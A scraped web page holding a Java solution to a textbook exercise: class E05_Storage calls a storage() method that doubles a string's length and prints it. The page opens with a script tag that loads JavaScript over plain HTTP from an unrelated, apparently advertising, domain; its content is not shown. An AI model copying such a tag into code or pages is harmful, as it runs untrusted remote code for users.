<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>
阅前声明: http://blog.csdn.net/heimaoxiaozi/archive/2007/01/19/1487884.aspx
/****************** Exercise 5 ******************
* Write a program that includes and calls the
* storage() method defined as a code fragment in
* this chapter.
***********************************************/
public class E05_Storage {
String s = "Hello, World!" ;
int storage(String s) {
return s.length() * 2;
}
void print() {
System.out.println(
"storage(s) = " + storage(s));
}
public static void main(String[] args) {
E05_Storage st = new E05_Storage();
st.print();
}
}
/** You could have also made storage( ) a static method and just called it from main( ) .*/
//+M java E05_Storage